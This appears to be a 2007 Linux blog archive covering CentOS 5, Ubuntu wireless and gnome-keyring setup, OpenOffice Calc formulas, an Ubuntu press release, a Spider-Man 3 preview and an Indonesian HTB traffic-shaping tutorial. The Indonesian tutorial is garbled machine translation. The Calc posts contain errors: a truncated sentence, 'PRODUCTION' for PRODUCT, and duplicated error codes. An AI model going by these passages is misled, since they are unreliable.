In addition to virtualization, CentOS 5 includes enterprise features for clustering and security. A cluster is a group of connected computers (called nodes or members) that work together to provide a common service, such as file sharing using the GFS file system or for high-availability services.

You can install clustering support when you install the operating system, or at any time afterward by using the system-config-packages program. The clustering packages are grouped together as Clustering and Cluster Storage.

For enhanced security, you can implement SELinux, which is a set of modifications to the standard Linux sources that confine user programs and system servers to the minimum amount of privilege they require to do their jobs. It stops applications from misbehaving and prevents them from increasing their privileges beyond what you allow. This reduces or eliminates the harm a hacker can do to a system.

SELinux was developed primarily by the US National Security Agency (NSA), and was released to the open source development community in 2000. SELinux first appeared in CentOS at version 4.

SELinux has often been more trouble than it is worth, especially if your server was in a secure LAN environment protected by a good firewall. CentOS 5 aims to make using SELinux easier. It includes the SELinux Troubleshooting Tool (setroubleshoot), which is a user-friendly tool for notification and diagnosis of access denials. SELinux normally reports policy violations in the logging system as access vector cache entries. With the SELinux Trouble Shooting Tool, alerts are also generated to the desktop with clearer information about the problem.

Technology previews

CentOS 5 includes several new technologies that the developers don't consider production-ready, but which are included to allow you to preview and plan for their arrival. They include:

  • Stateless Linux, a system to allow for diskless clients.
  • GFS2, an updated version of the Global File System.
  • AIGLX and Compiz, which are updated X11 components with OpenGL enhancements to bring 3-D effects to the desktop.
  • Systemtap, an infrastructure tool to help developers and system administrators gather information about working systems.

During my test drive, CentOS 5 proved (as did previous versions) to be stable and robust. If you need support, there are many free ways to get it, including IRC, mailing lists, forums, and a good FAQ.

CentOS 5 has many improvements in its latest release. If you are already running CentOS 4 and are looking to upgrade your systems to newer versions of key server services like PHP 5 and MySQL 5, or if you are just looking for a solid general-purpose Linux operating system, CentOS 5 is a good choice. It will be my Linux distribution of choice for servers.

based on Gary Sims

Gary Sims has a degree in Business Information Systems from a British university. He worked for 10 years as a software engineer and is now a freelance Linux writer and consultant.

The ease of WPA in Ubuntu Feisty Fawn

With the new release of Ubuntu 7.04 (aka Feisty Fawn) the Network Manager has become the standard way of connecting to wireless (and wired) networks in Ubuntu.

While this new way has some drawbacks (connection is only established on login, so time doesn't get synced with the internet on startup) it is a great way for all the Linux roadwarriors to easily connect to all sorts of networks. In this mini-howto I will show you how it is done. I will also show you how to automatically connect after the login without needing to enter your gnome-keyring password.

The Screens

When logging in to your fresh install of Feisty the first thing you will notice is a new icon (the network-manager applet) that says you are not connected to any network:

Since the SSID of my network is hidden, I have to enter it manually. So I left-click the icon and chose Connect to Other Wireless Network.

Now I enter my SSID (Boognish), pick the wireless security I set up in my router (WPA-PSK TKIP) and enter my wireless encryption key.

The connection is not established right away. Since this is a fresh install of Feisty, I don't have a default gnome-keyring, yet. The Gnome Keyring is something like a password vault, which other Gnome applications can use. It can also store password for things like FTP servers or SSH sessions. If you don't have a default keyring, yet, Gnome will automatically create one and ask you to enter a master password. So next time you want to connect to a known WiFi network (or an FTP server) you will only be asked your master password. As your master password I would chose the same as your login password (more on that later).

After you hit OK, your wireless connection will be established.


The Magic

Now everytime you start your computer and log in, you will have to enter the master password for your Gnome Keyring and you will be connected to your WiFi network. For me, personally, it is a little bit annoying to enter my login password, and right after that enter it again to connect to the wireless. So what I do is, on login I hand over the login password to the gnome-keyring. That means the gnome-keyring is open on login and the network-manager can use it right away and won't ask you for a password (Note: In an environment where security is important you don't want this behavior). As it is your login password that is passed on, your gnome-keyring password has to be identical to it (as mentioned above). If you created your keyring with a different password see below.

To accomplish this we have to install a package and modify a file. Lets open the Terminal to do it (Applications -> Accessories -> Terminal).

# to install libpam-keyring enter
user@host:~$ sudo apt-get install libpam-keyring
# and to modify the gdm login file do
user@host:~$ sudo gedit /etc/pam.d/gdm
Now the texteditor gedit will open with a file. To the end of the file append the following three lines:
# use session pw for gnome-keyring
auth optional pam_keyring.so try_first_pass
session optional pam_keyring.so
Now save it and close gedit. That is it. You will never be asked the keyring password again.

The Troubleshooting

  1. If your Network Manager doesn't show anything, chances are good your WiFi interface is not managed by it. In System -> Administration -> Network you have to enable the Roaming Mode for you wireless interface to allow it to be managed by the Network Manager. Reboot. If it still doesn't work open and modify the file /etc/network/interfaces (with sudo gedit like above) and comment-out all lines except two, so that it looks kind-of like this:
    auto lo
    iface lo inet loopback
    #auto eth0
    #iface eth0 inet dhcp
    #auto ath0
    #iface ath0 inet dhcp
    If it still doesn't work your wireless interface is probably not supported out-of-the-box and you will have to install the drivers yourself.
  2. If you created your gnome-keyring with a password different from your login password you cannot change it (the idiots forgot to implement this feature). You will have to delete it alltogether.
    rm $HOME/.gnome2/keyrings/default.keyring
  3. If you want to remove the password stored for a network you can go to System -> Administration -> Keyring Manager
  4. BTW: The network-manager saves its profiles here: $HOME/.gconf/system/networking

The Bottom Line

On my stationary desktops I deactivated the Network Manager in favour of the traditional ifup/ifdown mechanism because I want my network to be up at boot-time. But for laptops this is really a nice thing and in the future I think we can expect the Network Manager to work seamlessly with ifup/ifdown. So lets see what the next Ubuntu release will bring.

based on Mathias blog

Sunday, April 22, 2007

OpenOffice.org Calc functions, part 2: Working with formulas

A formula is a spreadsheet function entered in a cell, complete with its arguments. They're one of the two or three major applications that first spearheaded the acceptance of the personal computer in the 1980s, and the main tools of advanced spreadsheet use.

In part 1 of this article, I gave an overview of functions and what they do. Now, in part 2, I'll continue by explaining how you enter formulas (or formulae, if you prefer), and how you can check and review them afterwards.


Entering Formulas

You can enter function formulas in several ways.

The quickest way to enter a function formula is to start typing, either in the cell itself, or at the input line. If you are typing in the cell, as soon as you type an operator, such as an equal sign or less than sign ( Options -> OpenOffice.org Calc -> View -> Display. Unselect the check box beside it, and the result will display. However, you can still see the formula in the formula bar field.


Reviewing the Contents and Results of Formulas

Even with all the tools available in Calc to help you to enter formulas, making mistakes is easy. Many typists find inputting numbers difficult, and many users may make a mistake about the kind of entry that a function's argument needs. At times, too, you may want to find the cells used in a formula to change their values or to check the answer. For these reasons, Calc provides three tools for investigating formulas and the cells that they reference.

The most basic tool is error messages. Error messages display in a formula's cell or -- even more conveniently -- in the Function Autopilot instead of the result. An error message for a formula is usually a three-digit number from 501 to 527, or sometimes an unhelpful piece of text such as NAME?, REF, or VALUE. The error number appears in the cell, and a brief explanation of the error on the right side of the status bar. Most error messages indicate a problem with how the formula was input, although several indicate that you have run up against a limitation of either Calc or its current settings.

Error messages are not user-friendly, and may intimidate new users. All the same, they are valuable clues to correcting mistakes. You can find detailed explanations of them by opening OpenOffice.org help and searching for "Error codes in OpenOffice.org Calc." A few of the most common are:

  • NAME? (525): No valid reference exists for the argument.
  • REF (525): The column, row, or sheet for the referenced cell is missing.
  • VALUE (519): The value for one of the arguments is not the type that the argument requires. The value may be entered incorrectly; for example, double-quotation marks may be missing around the value. At other times, a cell or range used may have the wrong format, such as text instead of numbers.
  • 509: An operator such as an equals sign is missing from the formula.
  • 510: An argument is missing from the formula.
  • 502: The column, row, or sheet for the referenced cell is missing.

Another useful tool when reviewing a formula is the color coding for for input. When you select a formula that has already been run, the cells or ranges used for each argument in the formula are outlined in color. Calc uses eight colors for outlining referenced cells, starting with blue for the first cell, and continuing with red, magenta, green, dark blue, brown, purple and yellow before cycling through the sequence again.

However, in a long or complicated spreadsheet, color coding becomes less useful. In these cases, consider using Tools -> Detective's sub-menu. The Detective is a tool for checking which cells are used as arguments by a formula (precedents) and which other formulas it is nested in (dependents), and tracking errors. It can also be used for tracing errors, marking invalid data (that is, information in cells that is not in the proper format for a function's argument), or even for removing precents and dependents.

To use the Detective, selective a cell with a formula, then start the Detective. On the spreadsheet, you will see lines ending in circles to indicate precedents, and lines ending in arrows for dependents. If you like, think of the spreadsheet detective as Calc's equivalent of the lines that show connections between text frames in Writer. In both cases, the lines show the flow of information.


Conclusion

At this point, you should have a general sense of what functions do, and how to work with them. However, this is only an introduction to functions. There are additional tools for automating your use of functions and formulas, as well as the intricacies of function arguments, many of which require specialized knowledge to use effectively. In future articles, I plan to touch on both these subjects.


Bruce Byfield is a computer journalist who writes regularly for the Linux.com and Linux Journal web sites.

OpenOffice.org Calc functions, part 1: Understanding functions

A function is a pre-defined calculation entered in a cell to help you analyze or manipulate data in a spreadsheet. All you have to do is add the arguments, and the calculation is automatically made for you. Beginners might be content to use Calc for lists, but, for advanced users, functions are the main reason for spreadsheets. If you understand functions, then you can start to use the real power of a spreadsheet.

In Part 1 of this article, I'll give a brief overview of functions and how they operate. Then, in Part 2, I'll talk about how to work with them, and give some examples of what they can do.


Understanding functions

Calc includes over 350 functions to help you analyze and reference data. Many of these functions are for use with numbers, but many others are used with dates and times, or even text. A function may be as simple as adding two numbers together, or finding the average of a list of numbers. Alternatively, it may be as complex as calculating the standard deviation of a sample, or a hyperbolic tangent of a number.

Typically, the name of a function is an abbreviated description of what the function does. For instance, the FV function gives the future value of an investment, while BIN2HEX converts a binary number to a hexadecimal number. By tradition, functions are entered entirely in upper case letters, although Calc will read them correctly if they are in lower or mixed case, too.

A few basic functions are also represented by symbols. For instance, SUM, which adds arguments, can also be entered as + while PRODUCTION, which multiplies arguments, can also be entered as *.

Each function has a number of arguments used in the calculations. These arguments may or may not have their own name. As user, your job is to enter the arguments needed to run the function. In some cases, the arguments will have pre-defined choices, and you may need to refer to the online help to understand them. More often, however, an argument is a value that you enter manually, or one already entered in a cell or range of cells on the spreadsheet. In Calc, you can enter values from other cells by typing in their name or range, or --unlike the case in some spreadsheets -- by selecting cells with the mouse. Should the values in the cells change, then the result of the function is automatically updated.

Strictly speaking, when all the arguments are entered and a function is ready to run, it becomes a formula. These terms are sometimes used interchangeably, but the distinction is worth preserving, because a formula can use functions as an argument.

For compatibility's sake, both functions and their arguments in Calc have almost identical names to their counterparts in MS Excel. However, both Excel and Calc have functions that the other lack. Occasionally, too, functions with the same names in Calc and Excel have different arguments, or slightly different names for the same argument -- neither of which can be imported to the other. However, maybe nine-tenths of functions can be imported between Calc and Excel without any problems.


Understanding the Structure of Functions

Except for simple functions such as + or *, all formulas have a similar structure. If you use the right tool for entering a formula (a subject for Part 2), you can escape learning this structure, but it is still worth knowing for troubleshooting.

To give a typical example, the structure of a formula to find cells that match an entered search criteria is:


= DCOUNT (Database;Database field;Search_criteria)

Like most formula, this one starts with an equal sign. It is followed by the DCOUNT, the name of the function.

After the name of the function comes its arguments. All arguments are required, unless specifically listed as optional.

Arguments are added within the brackets, and separated by semi-colons, with no space between the arguments and the semi-colons. Many arguments are a number. A Calc function can take up to thirty numbers as an argument. That may not sound like much at first. However, when you realize that the number can be not only a number or a single cell, but also an array or range of cells that contain several or even hundreds of cells, then the apparent limitation vanishes.

Other arguments may be a column label, a mathematical constant, or a value unique to that function.

Depending on the function, arguments may have to be entered with straight quotation marks. However, this requirement is not consistent. Otherwise similar formulas may differ only in this requirement, and no simple rule tells you which is which. You simply have to know or check the requirements in the online help.

The only exception to these structural rules are basic arithmetical functions entered with symbols. For example, instead of entering =SUM(2;3), you can enter =2+3.


Advanced structure

As well as being used on its own, a function can be an argument in a larger formula. A formula, however, is limited by the fact that it can only do one function at a time. And that means that you need to make sure that functions are done in the right order if the formula is going to work.

To help set the order for functions in a multiple function formula, you use parentheses within parentheses. When the formula is run, Calc does the innermost function first, then works outwards. For example, in the simple calculation =2+(5*7), Calc multiples 5 by 7 first. Only then is 2/code> added to the result to get 37.

The placement of functions within sets of parentheses is called nesting. Basically, it reduces a function that could run on its own to an argument in the formula. For example, in =2+(5*7), the formula (5*7) is nested within the larger formula of =2+(5*7).

In other words, the nested function becomes an argument of another function.

This relation is more obvious when doing a calculation using a function with a name. For all purposes,


=SUM(2;PRODUCT(5;7))

is the same formula as =2+(5*7). However, when SUM and PRODUCT are used, then the relation is clearer.The fact that the PRODUCT function comes after a semi-colon and in a set of parentheses for the SUM function makes it clear that PRODUCT is an argument for SUM. In addition, the fact that the inner pair of parentheses is around (5;7) makes clear that this operation is done before the one defined by the outer pair of parentheses.

To get an idea of what nested functions can do, imagine that you are designing a self-directed learning module. During the module, students do three quizzes, and enter the results in cells A1, A2, and A3. In A4, you can create a nested formula that begins by averaging the results of the quizzes with the formula =AVERAGE(A1:A3). The formula then uses the IF function to give the student feedback that depends upon the average grade on the quizzes. The entire formula would read:


=IF(AVERAGE(A1:A3) >85; "Congratulations! You are ready to advance to the next module"; "Failed. Please review the material again. If necessary, contact your instructor for help")

Depending on the average, the student would either receive the message for congratulations of failure.

Notice that the nested formula for the average does not require its own equal sign. The one at the start of the equation is enough for both formula.


Conclusion

If you are new to spreadsheets, the best way to think of functions is as a scripting language. I've used simple examples in order to explain more clearly, but, through nesting of functions, a Calc formula can quickly become complex.

For instance, a few years ago, when I was thinking of writing a book on OpenOffice,org, Kohei Yoshida offered to me the following as an example of what a formula can do:


=6367.5*ACOS(COS(E3*2*PI()/360)*COS(E8*2*PI()/360)*COS((E9-E4)*2*PI()/360)+SIN(E3*2*PI()/360)*SIN(E8*2*PI()/360))

This is a formula for calculating the distance between two locations in kilometers, based on their longitudes and latitudes. In the formula, cells E3 and E4 give the longitude and latitude respectively of one location, while cells E8 and E9 give the same information for the other.

If you examine this formula, you'll soon understand that the comparison of functions to a scripting language is not much exaggerated. That's why an expert formula writer can earn money comparable to an experienced programmer's.

Of course, you may not have such elaborate purposes. But, in Part 2, I'll talk about how to work with functions and some of the simple uses that any user may find for them.

Thursday, April 19, 2007

Latest Ubuntu delivers on the promise of Open Source


While millions consider whether to pay for Vista, the Ubuntu project releases its secure, high performance, free desktop and server editions.

LONDON, April 16, 2007 – For users wanting a secure, feature rich alternative to Microsoft Windows, Canonical Ltd., the commercial sponsor of Ubuntu, announced today the Thursday release of Ubuntu version 7.04.

Ubuntu is the award-winning Linux distribution for the desktop, laptop, thin client and server which brings together the best of open source software every 6 months. Ubuntu 7.04 desktop edition includes a ground-breaking Windows migration assistant, excellent wireless networking support and improved multimedia support.

Ubuntu 7.04 server edition adds support for hardware facilities that speed up the use of virtual machines as well as other improved hardware support, making it an excellent choice as a web, database, file and print server, the fastest growing area of Linux server use. Ubuntu's already outstanding support for thin clients is boosted with advanced print and sound support.

"In the coming months, many individuals and businesses will be making the decision to upgrade their existing computer systems and their operating systems," said Jane Silber, director of Operations, Canonical Ltd. "With added features to both the desktop and server editions, Ubuntu 7.04 is the most user-friendly version to date and is ideally suited to anyone who wants to make the switch to Linux and join the community of Ubuntu users. In fact, with this version of Ubuntu, it is easier than ever to move away from proprietary platforms."

At the same time as Ubuntu, the project also will release new versions of Kubuntu and Edubuntu, specialized versions of Ubuntu which include the KDE desktop environment and educational applications, respectively.

Ubuntu Fully Supported

Used by businesses, home users, schools and governments around the world, upgrades to new releases will always be free of charge. Ubuntu 7.04 will be maintained for 18 months on both the desktop and on the server, and additional free support is available from the thriving Ubuntu community. For deployments which require additional service guarantees, full telephone and online support is commercially available globally from the professional support team at Canonical Ltd and service partners.

###

Ubuntu, Kubuntu, Edubuntu and their associated logos are all registered trademarks of Canonical Ltd.

Contact:
Bill Baker, Baker Communications Group, 860-350-9100, pr@canonical.com

Tuesday, April 17, 2007

Spider-man 3


Starring: Tobey Maguire, Kirsten Dunst, Thomas Haden Church, James Franco, Topher Grace
Director: Sam Raimi
Rated: Unrated
U.S. Opening Date: 4 May 2007


In Spider-Man 3, Peter Parker has finally managed to strike a balance between his devotion to M.J. and his duties as a superhero. But there is a storm brewing on the horizon. As Spider-Man basks in the public's adulation for his accomplishments and he is pursued by Gwen Stacy (Bryce Dallas Howard), who rivals M.J. for his affections, Peter becomes overconfident and starts to neglect the people who care about him most. His newfound self-assuredness is jeopardized when he faces the battle of his life against two of the most feared villains ever (Thomas Haden Church, Topher Grace), whose unparalleled power and thirst for retribution threaten Peter and everyone he loves.

If you’re a comic book obsessive, then you’d probably want to mark 4 May 2007 in your diary because that is when Spider-man 3 opens across the globe.

The sequel will again be directed by Sam Raimi who directed the previous two films. So far Tobey Maguire, Kirsten Dunst, J.K. Simmons, Dylan Baker, and James Franco are the confirmed returning cast members from the previous two Spider-man movies.

Main filming for Spider-man 3 started on January 2, 2006, however certain preliminary test photography is said to begin as early as September 2005.

Thomas Haden Church, who starred in the movie Sideways will play a villain named Sandman, and Topher Grace, known for his lead role in the sitcom That '70s Show, plays Venom.

Monday, April 2, 2007

BANDWIDTH MANAGEMEN dgn HTB

1. Pendahuluan

Dokumen ini adalah tutorial menggunakan TC (Traffic Control) dengan HTB (Hierarchical Token Bucket) untuk melakukan management traffic di sebuah Linux mesin.Tutorial ini diperuntukan untuk System Administrator yg sudah punya :

* minimal mengerti dasar dari traffic control
* setidaknya mengerti dasar dari iptables
* mengerti dasar perintah file editor di linux
* mengerti tentang compile kernel

1.1 Bagaimana Traffic Control bekerja ?

Traffic Control menjadi istilah diberikan kepada keseluruhan paket yang queuing subsistem di (dalam) suatu jaringan atau jaringan. Traffic Control terdiri dari beberapa operasi yang berbeda. Penggolongan adalah suatu mekanisme dimana untuk mengidentifikasi paket dan menempatkan [mereka/nya] di (dalam) kelas atau individu yang ada. Menjaga ketertiban mekanisme dimana membatasi banyaknya paket atau bytes di (dalam) suatu current yang mempertemukan penggolongan tertentu .

Penjadwalan menjadi pengambilan keputusan memproses dengan mana paket diperintah/dipesan dan [yang] re-ordered untuk transmisi. Membentuk menjadi proses dengan mana paket di/tertunda dan dipancarkan untuk menghasilkan suatu bahkan dan laju alir dapat diprediksi.

Ini banyak karakteristik suatu traffic control dapat dikombinasikan di (dalam) jalan kompleks untuk memesan/mencadangkan bandwidth untuk current tertentu (atau aplikasi) atau untuk membatasi jumlah bandwidth tersedia untuk aplikasi atau arus tertentu.

Salah satu [dari] konsep utama traffic control menjadi konsep token (penandaan). Suatu menjaga ketertiban atau implementasi membentuk harus mengkalkulasi banyaknya bytes atau paket yang (mana) sudah [lulus/lewat] tentang apa tingkat rate. Masing-Masing paket atau byte ( tergantung pada implementasi), sesuai dengan suatu token (penandaan), dan menjaga ketertiban atau implementasi membentuk akan hanya memancarkan atau lewat paket jika [itu] mempunyai suatu token tersedia.

Suatu kontainer [yang] berkenaan dengan metafora umum di mana suatu implementasi [menyimpan/pelihara] token nya menjadi bucket [itu]. Singkatnya, suatu bucket menghadirkan kedua-duanya banyaknya token yang (mana) dapat digunakan dengan segera ( ukuran dari bucket), dan tingkat di mana token diisi ulang ( seberapa cepat bucket mendapat/kan diisi kembali).

Di bawah linux, traffic control telah sudah menjadi sejarah suatu usaha yang kompleks. Tc command line tool menyediakan suatu alat penghubung kepada struktur inti yang (mana) melaksanakan yang membentuk, penjadwalan, menjaga ketertiban dan menggolongkan. Sintaksis [dari;ttg] perintah ini adalah, bagaimanapun, rahasia.



2. Apa itu HTB ?

Hierarchichal Token Bucket adalah suatu classful qdisc yang ditulis oleh martin Devera dengan suatu [yang] lebih sederhana satuan bentuk wujud parameter dibanding CBQ. Ada banyak dokumentasi pada [atas] lokasi pengarang dan juga pada [atas] Stef website Coene'S tentang HTB dan penggunaannya.

Di bawah adalah suatu ringkasan sket [menyangkut] HTB sistem. Secara konseptual, HTB adalah suatu jumlah yang berubah-ubah dari token bucket diatur di (dalam) suatu hirarki ( ya, kamu mungkin sudah bisa menggambarkan tanpa bantuan kalimatku). Mari kita mempertimbangkan skenario yang paling sederhana. Yang utama [yang] queuing disiplin di device dikenal sebagai root qdisc.


htb

The root qdisc akan berisi satu kelas (skenario kompleks bisa mempunyai berbagai kelas berkait dengan the root qdisc ). HTB kelas Tunggal ini akan diset dengan dua parameter, suatu tingkat tarip ( a rate) dan suatu ceil (a ceil). Nilai-Nilai ini harus merupakan yang sama untuk the top-level class, dan akan menghadirkan total bandwidth yang tersedia di link [jaringan].

Di HTB, rate berarti bandwidth yang dijamin dari yang tersedia untuk kelas yang ditentukan dan ceil (ceiling) adalah yang (mana) menandai (adanya) bandwidth maksimum untuk kelas yang diijinkan untuk mengkonsumsi. Bandwidth yang digunakan antara rate dan ceil itu meminjam dari suatu kelas parent, sarannya yang rate dan ceil menjadi yang sama di (dalam) kelas yang tertinggi [itu].Jumlah kelas child dapat dibuat di bawah kelas ini (parent), masing-masing [di/yang mana] dapat dialokasikan beberapa jumlah bandwidth yang tersedia dari kelas parent.

Di (dalam) kelas child ini, tingkat rate dan ceil parameter nilai-nilainya tidak perlu sama seperti saran untuk kelas parent. Ini mengijinkan kamu untuk memesan/mencadangkan suatu jumlah ditetapkan bandwidth [bagi/kepada] kelas tertentu . [Itu] juga mengijinkan HTB untuk mengkalkulasi perbandingan distribusi [dari;ttg] bandwidth tersedia kepada perbandingan dari kelas diri mereka. Ini harus [yang] lebih nyata di (dalam) contoh di bawah.

Implements Hierarchical Token Bucket adalah suatu classful yang queuing mekanisme untuk linux traffic control sistem, dan menyediakan tingkat rate dan ceil untuk mengijinkan pemakai untuk mengendalikan bandwidth kemutlakan ke kelas bandwidth [yang] tertentu seperti halnya menandai (adanya) perbandingan distribusi bandwidth ketika bandwidth ekstra menjadi tersedia (up to ceil).

Ingat ketika memilih bandwidth untuk kelas [yang] tertinggi mu (top-level class) bahwa traffic shaping hanya membantu jika kamu menjadi bottleneck antar[a] LAN mu dan Internet [itu]. khususnya, ini menjadi kasus di (dalam) lingkungan jaringan kantor dan rumah, [di mana/jika] suatu keseluruhan LAN dilayani oleh suatu DSL atau T1 koneksi.Dalam prakteknya, kamu mungkin perlu menetapkan bandwidth untuk kelas [yang] tertinggi mu ke bandwidth [yang] tersedia.



3. Installasi HTB dan Kompile Kernel3.1 Installasi HTB

Software Yang dibutuhkan :

* HTB Script
* kernel harus dukung HTB; kernel 2.4.20 ke atas

HTB Script dapat di download dari http://sourceforge.net/projects/htbinit/ .

HTB.INIT adalah suatu shell script yg berasal dari CBQ.INIT yang mempermudah pengaturan traffic control HTB-BASED di Linux. HTB ( Hierachical Token Bucket) adalah suatu disiplin antrian baru yang (mana) mencoba untuk memperbaiki kelemahan dari implementasi CBQ.

Installasinya mudah dengan hanya men-download file tersebut dan anda letakkan di file system init /etc/init.d/htb.init, perintah lengkapnya sebagai berikut :

shell> wget http://heanet.dl.sourceforge.net/sourceforge/htbinit/htb.init-v0.8.5
shell> cp htb.init-v0.8.5 /etc/init.d/htb.init
shell> chmod 755 /etc/init.d/htb.init
shell> mkdir /etc/sysconfig/htb
shell> chown root:root -R /etc/sysconfig/htb



3.2 Kompile Kernel >bagian QOS and/or fair queueing
# QoS and/or fair queueing
#
CONFIG_NET_SCHED=y
CONFIG_NET_SCH_CLK_JIFFIES=y
# CONFIG_NET_SCH_CLK_GETTIMEOFDAY is not set
# CONFIG_NET_SCH_CLK_CPU is not set
CONFIG_NET_SCH_CBQ=m
CONFIG_NET_SCH_HTB=m
CONFIG_NET_SCH_HFSC=m
CONFIG_NET_SCH_ATM=m
CONFIG_NET_SCH_PRIO=m
CONFIG_NET_SCH_RED=m
CONFIG_NET_SCH_SFQ=m
CONFIG_NET_SCH_TEQL=m
CONFIG_NET_SCH_TBF=m
CONFIG_NET_SCH_GRED=m
CONFIG_NET_SCH_DSMARK=m
CONFIG_NET_SCH_NETEM=m
CONFIG_NET_SCH_INGRESS=m
CONFIG_NET_QOS=y
CONFIG_NET_ESTIMATOR=y
CONFIG_NET_CLS=y
CONFIG_NET_CLS_TCINDEX=m
CONFIG_NET_CLS_ROUTE4=m
CONFIG_NET_CLS_ROUTE=y
CONFIG_NET_CLS_FW=m
CONFIG_NET_CLS_U32=m
CONFIG_CLS_U32_PERF=y
CONFIG_NET_CLS_IND=y
CONFIG_NET_CLS_RSVP=m
CONFIG_NET_CLS_RSVP6=m
# CONFIG_NET_CLS_ACT is not set
CONFIG_NET_CLS_POLICE=y



shell> make menuconfig
shell> make
shell> make modules_install install



4. Konfigurasi HTB

make sure (pastikan anda) sudah membuat direktori /etc/sysconfig/htb (dijelaskan secara detail di section berikutnya) dan file exec htb di /etc/init.d/htb.init .Perhatikan gambar berikut :

4.1 Membuat file konfigurasi HTB

4.1.1 Konfigurasi file downlink (1:1)
shell>mkdir /etc/sysconfig/htb
shell>touch /etc/sysconfig/htb/eth1
shell>touch /etc/sysconfig/htb/eth1-10.aa-dl
shell>touch /etc/sysconfig/htb/eth1-20.andi-dl
shell>touch /etc/sysconfig/htb/eth1-30.adi-dl
shell>touch /etc/sysconfig/htb/eth1-40.masterpop3-dl



eth1 eth1-10.aa-dl eth1-20.andi-dl eth1-30.adi-dl eth1-40.masterpop3-dl
R2Q=100 RATE=64Kbit
QUANTUM=1500
LEAF=sfq
RULE=10.10.10.2 RATE=64Kbit
QUANTUM=1500
LEAF=sfq
RULE=10.10.10.3 RATE=64Kbit
QUANTUM=1500
LEAF=sfq
RULE=10.10.10.4 RATE=64Kbit
QUANTUM=1500
LEAF=sfq
RULE=10.10.10.5



4.1.2 Konfigurasi file uplink (1:4)

shell>touch /etc/sysconfig/htb/eth0
shell>touch /etc/sysconfig/htb/eth0-10
shell>touch /etc/sysconfig/htb/eth0-10:20.aa-ul
shell>touch /etc/sysconfig/htb/eth0-10:30.andi-ul
shell>touch /etc/sysconfig/htb/eth0-10:40.adi-ul
shell>touch /etc/sysconfig/htb/eth0-10:50.masterpop3-ul



eth0


eth0-10
eth0-10:20.aa-ul eth1-10:30.andi-ul eth1-30.adi-ul eth1-40.masterpop3-ul
R2Q=100 RATE=64Kbit
QUANTUM=1500 RATE=16Kbit
QUANTUM=1500
CEIL=64Kbit
LEAF=sfq
RULE=10.10.10.2, RATE=16Kbit
QUANTUM=1500
CEIL=64Kbit
LEAF=sfq
RULE=10.10.10.3, RATE=16Kbit
QUANTUM=1500
CEIL=64Kbit
LEAF=sfq
RULE=10.10.10.4, RATE=16Kbit
QUANTUM=1500
CEIL=64Kbit
LEAF=sfq
RULE=10.10.10.5,



catatan: untuk konfigurasi file uplink, jika :Linux BOX anda di setting sebagai Router, maka anda akan memerlukan penandaan (MARK), yg di set mangling di dalam firewall iptables.Contoh :


ip : 10.10.10.2 akan di MARK=2 maka :
/sbin/iptables -t mangle -A PREROUTING -i eth1 -s 10.10.10.2 -d ! 10.10.10.0/24 -j MARK --set-mark 0x2

dan di tulis di file konfig uplinknya :
#eth0-10:20.aa-ul
RATE=16Kbit
QUANTUM=1500
CEIL=64Kbit
LEAF=sfq
MARK=2



5. Penutup

Contoh yang saya berikan di atas adalah untuk bandwidth management download 1:1 dan upload 1:4 . Sekarang pilihan terserah pada anda, memilih yg mana, semua bisa disesuaikan dengan kebutuhan.
Terimakasih ke :
http://www.tldp.org/HOWTO/Traffic-Control-HOWTO/index.html
http://www.tldp.org/HOWTO/Traffic-Control-tcng-HTB-HOWTO/
http://luxik.cdi.cz/~devik/qos/htb/
http://efnet.linux.or.id/docs/instalasi-htb-cbq.html